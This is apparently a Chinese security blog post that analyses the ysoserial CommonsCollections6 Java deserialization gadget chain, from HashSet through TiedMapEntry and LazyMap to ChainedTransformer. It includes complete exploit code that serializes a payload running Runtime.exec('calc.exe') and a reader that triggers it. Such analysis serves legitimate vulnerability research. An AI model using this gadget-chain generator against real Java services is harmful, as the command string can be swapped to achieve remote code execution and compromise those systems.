前言:

这篇记录CommonsCollections6的调试,外层也是新的类,换成了hashset,即从hashset触发其readObject(),yso给的调用链如下图所示

利用链分析:

首先在hashset内部首先获取器容量与负载因子等操作,然后创建hashmap,将ObjectinputStream中的对象放到hashmap中,即调用hashmap.put函数,可以看到此时实际上放进去的是一个TiedMapEntry,TiedMapEntry是cc5加入进去的一个Map类,其getvalue函数能够获取指定map的key,所以跟进

hashMap在放入元素时将会对当前的key计算一个hash值,即这里调用hashCode()函数,所以即调用TiedMapEntry的hashCode()函数,在hashCode函数中将调用该类的getvalue函数,

所以从此刻开始就和CommonsCollections5的后续利用链相同了,因为CC5是在该类的toString中调用getvalue

接着就跳到this.map.get(this.key),此时this.map即为lazymap.get

在lazymap.get中将调用this.factory.transform,而我们知道this.factory是可控的,这里依然为chaindTransform

接下来到了chainedTransformer的transform了,接下来的过程不再赘述,即为contantTransform+invokeTranform结合反射调用方法来进行rce

yso构造分析:

这里还是老套路,先构造内部transform转换链,然后构造lazymap,将chained链放进去,接着将lazymap放到TiedMapEntry中

接下来构造hashset实例

接着拿到该hashset的map属性,该属性就是个hashmap

接着拿到haspmap中的table属性,在table中存储节点对象,然后通过反射拿到节点数组,

 

接着令节点存储Tiedmapentry放进该node节点的key

这里下断点跟一下往haspset中放数据的过程也就是haspmap的存储过程,比如这里exp中存第一个元素,就是新建一个node节点,即当前的key为"tr1ple"

手动构造exp:

exp.java

  1. package CommonsCollections6;
  2.  
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  8. import org.apache.commons.collections.map.LazyMap;
  9. import java.lang.reflect.Method;
  10. import java.lang.Class;
  11.  
  12. import java.io.*;
  13. import java.lang.reflect.Field;
  14. import java.util.HashMap;
  15. import java.util.HashSet;
  16. import java.util.Map;
  17.  
  18. public class exp {
  19. public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException {
  20. //构造内部转换链
  21. Transformer[] trans = new Transformer[]{
  22. new ConstantTransformer(Runtime.class),
  23. new InvokerTransformer("getMethod",
  24. new Class[]{String.class,Class[].class},
  25. new Object[]{"getRuntime",new Class[0]}),
  26. new InvokerTransformer("invoke",
  27. new Class[]{Object.class,Object[].class},
  28. new Object[]{null,null}),
  29. new InvokerTransformer("exec",
  30. new Class[]{String.class},new Object[]{"calc.exe"}
  31. )
  32. };
  33. ChainedTransformer chain = new ChainedTransformer(trans);
  34. HashMap innerMap = new HashMap();
  35. Map lazyMap = LazyMap.decorate(innerMap, chain);
  36. TiedMapEntry entry = new TiedMapEntry(lazyMap, "tr1ple");
  37.  
  38. //构造外部入口链
  39. HashSet newSet = new HashSet(1);
  40. newSet.add("tr1ple");
  41. Field innerSetMap = HashSet.class.getDeclaredField("map");
  42. innerSetMap.setAccessible(true);
  43. //修改hashset内部的hashmap存储
  44. HashMap setMap = (HashMap)innerSetMap.get(newSet);
  45. Field table = HashMap.class.getDeclaredField("table");
  46. table.setAccessible(true);
  47. //拿到存储的数据
  48. Object[] obj =(Object[])table.get(setMap);
  49. Object node = obj[0];
  50.  
  51. System.out.println(node.getClass().getName());
  52. Method[] methods = node.getClass().getMethods();
  53. /*
  54. for(int i=0;i<methods.length;i++){
  55. System.out.println(methods[i].getName());
  56. }
  57. */
  58. //拿到此时存到hashset中的node节点,key为要修改的点,这里需要修改它为真正的payload,即Tiedmapentry
  59. System.out.println(node.toString());
  60.  
  61. Field key = node.getClass().getDeclaredField("key");
  62. key.setAccessible(true);
  63. key.set(node,entry);
  64. //hashset的hashmap中的node节点修改完值以后放进hashset
  65. Field finalMap = newSet.getClass().getDeclaredField("map");
  66. finalMap.setAccessible(true);
  67. finalMap.set(newSet,setMap);
  68.  
  69. //序列化
  70. File file;
  71. file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
  72. ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file));
  73. objOut.writeObject(newSet);
  74.  
  75. }
  76. }

readObj.java

  1. package CommonsCollections6;
  2.  
  3. import java.io.*;
  4. import java.lang.Runtime;
  5.  
  6. public class readObj {
  7. public static void main(String[] args) throws IOException, ClassNotFoundException {
  8. File file;
  9. file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
  10. ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
  11. obj.readObject();
  12.  
  13. }
  14. }

java反序列化-ysoserial-调试分析总结篇(6)的更多相关文章

  1. java反序列化-ysoserial-调试分析总结篇(2)

    前言: 这篇主要分析commonCollections2,调用链如下图所示: 调用链分析: 分析环境:jdk1.8.0 反序列化的入口点为src.zip!/java/util/PriorityQueu ...

  2. java反序列化-ysoserial-调试分析总结篇(3)

    前言: 这篇文章主要分析commoncollections3,这条利用链如yso描述,这个与cc1类似,只是反射调用方法是用的不是invokeTransformer而用的是InstantiateTra ...

  3. java反序列化-ysoserial-调试分析总结篇(4)

    1.前言 这篇文章继续分析commoncollections4利用链,这篇文章是对cc2的改造,和cc3一样,cc3是对cc1的改造,cc4则是对cc2的改造,里面chained的invoke变成了i ...

  4. java反序列化-ysoserial-调试分析总结篇(5)

    前言: 这篇文章继续分析commonscollections5,由如下调用链可以看到此时最外层的类不是annotationinvoke,也不是priorityqueue了,变成了badattribut ...

  5. java反序列化-ysoserial-调试分析总结篇(7)

    前言: CommonsCollections7外层也是一条新的构造链,外层由hashtable的readObject进入,这条构造链挺有意思,因为用到了hash碰撞 yso构造分析: 首先构造进行rc ...

  6. java反序列化——apache-shiro复现分析

    本文首发于“合天智汇”公众号 作者:Fortheone 看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了.分析调试的shiro也是直接使用了cc链.首先先了解一些 ...

  7. java集合源码分析几篇文章

    java集合源码解析https://blog.csdn.net/ns_code/article/category/2362915

  8. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  9. 浅谈java反序列化工具ysoserial

    前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...

随机推荐

  1. $.proxy和$.extend

    $.proxy用法详解 参考:https://www.cnblogs.com/alice626/p/6004864.html jQuery中的$.proxy官方描述为: 描述:接受一个函数,然后返回一 ...

  2. IMX6开发板Qtopia2.2.0开发环境搭建以及编译镜像

    搭建 Qtopia2.2.0 开发环境,需要先搭建 Android 的编译环境,然后在 Android 编译环境的基础上,再搭建 Qtopia2.2.0 编译环境.以下内容基于迅为-iMX6开发板.Q ...

  3. 【个人笔记】ximo早期发的脱壳教程——手脱UPX壳

    [个人笔记]ximo早期发的脱壳教程--手脱UPX壳   壳分为两种:压缩壳和加密壳,UPX是一种很简单的压缩壳.   手脱UPX壳: 工具:ExeinfoPE.OD 对象:rmvbfix 方法1:单 ...

  4. linux进程(二)

    信号管理进程使用kill命令发送信号与进程通信定义守护进程的角色结束用户会话的进程 kill,killall,pgrep,pkill 对于进程的正常关闭的理解正常关闭程序的方法systemctl st ...

  5. winfrom控件圆角

    刚好用到这个功能,看了好些例子.我就不明白,简单的一个事,一些文章里的代码写的那个长啊,还让人看么. 精简后,就其实一点,只要有paint事件的组件,都可画圆角,没有的外面套一个panel就行了. u ...

  6. okhttp 拦截问题

    builder.addInterceptor(chain -> { Request request = chain.request(); Response response = chain.pr ...

  7. ibatis in语句参数传入方法

    第一种:传入参数仅有数组        <select id="GetEmailList_Test"  resultClass="EmailInfo_"& ...

  8. signal之——异步回收机制2

    前言:上一篇的处理方法可以解决所有回收问题,但是如果我们不考虑子进程的返回状态,那么可以使内核来进行对子进程的回收 代码如下: //如果无需关心进程结束状态 可以设置子进程结束时不产生僵尸进程有内核值 ...

  9. [LC] 345. Reverse Vowels of a String

    Write a function that takes a string as input and reverse only the vowels of a string. Example 1: In ...

  10. 树状数组 hdu2689 hdu2838

    题意:给定一个正整数n,和一个1-n的一个排列,每个数可以和旁边的两个数的任意一个交换,每交换一次总次数就要加一,问将这个排列转换成一个递增的排列需要多少次交换? 题意可以转换成求这个排列的逆序对数. ...